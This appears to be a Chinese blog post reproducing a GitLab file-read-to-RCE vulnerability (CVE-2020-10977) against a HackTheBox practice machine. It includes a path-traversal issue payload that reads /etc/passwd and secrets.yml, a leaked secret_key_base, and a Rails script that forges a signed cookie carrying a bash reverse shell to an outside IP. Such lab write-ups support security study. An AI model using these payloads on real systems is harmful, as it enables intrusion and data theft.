CVE-2020-10977_GitLab任意文件读取导致RCE漏洞复现

发布时间 2023-10-08 15:21:47作者: websec80

CVE-2020-10977_GitLab任意文件读取导致RCE漏洞复现

0x01 环境安装

1
yum -y install policycoreutils openssh-server openssh-clients postfix

分配给虚拟机的物理内存最好是4G。

下载gitlab安装包

安装

1
yum -y install ./gitlab......12_8.1.rpm

修改监听端口

1
2
3
vim /etc/gitlab/gitlab.rb

external_url 'http://localhost:8888'

重置和重启

1
2
3
gitlab-ctl reconfigure

gitlab-ctl restart

第一次进入会提示重置root密码

0x02 任意文件读取漏洞复现

创建两个项目(test1 和 test2

20210309-08:24:52-_By9fIt_O36viF

20210309-08:26:10-_T98qwn_mogzsu

在test1中新建一个issue。

内容为

1
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

20210309-08:27:10-_HGh3yK_MV8ygY

创建好后,将这个issue移动到test2。

20210309-08:27:38-_Be3jaU_f9Ff6H

如果漏洞存在,并且文件有可读权限,就会变成一个链接。因为/etc/passwd被复制到了 /var/opt/gitlab/gitlab-rails/uploads/@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/ed7e8cddbc49e3746e0b9974b5393d79/passwd
20210309-08:28:08-_lHi6lY_aM20WQ

20210309-08:47:53-_ZpR5vy_FDXJZL

0x03 RCE漏洞复现

根据报告Hackone-Arbitrary file read via the UploadsRewriter when moving and issue内容,需要修改cookie,并且读取目标机器上的secret.yaml,并在本地搭建一个gitlab,将本地的gitlab环境的secret.yaml替换为目标机器上的secret.yaml,然后用gitlab的工具来生成cookie,最后携带这段cookie直接请求目标gitlab环境即可。

这里我受害机环境使用的是HackTheBox靶机Laboratory

步骤1 利用LFI漏洞先读取secrets.yaml,来获取secret_key_base字段。

1
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

20210309-08:54:20-_VKsHlY_bljjkV

20210309-08:56:00-_JQy17p_AgTtwS

需要将本地的gitlab的secrets.yaml的secret_key_base字段替换为受害机的。

1
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

20210309-09:06:32-_ZQ8xH0_8WVpIV

替换好之后,进入到radis console

依次输入以下内容,在获取到cookie之前,这些命令会在本机执行一次,所以在拿到cookie之后再监听端口。

1
2
3
4
5
6
7
8
9
10
11
12
request = ActionDispatch::Request.new(Rails.application.env_config)

request.env["action_dispatch.cookies_serializer"] = :marshal

cookies = request.cookie_jar

erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.248.245.171/9999 0>&1'` %>")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr
puts cookies[:cookie]

20210309-09:19:19-_83wzq5_JvfiZX

20210309-09:19:48-_F09ZMj_JR4sM5

参考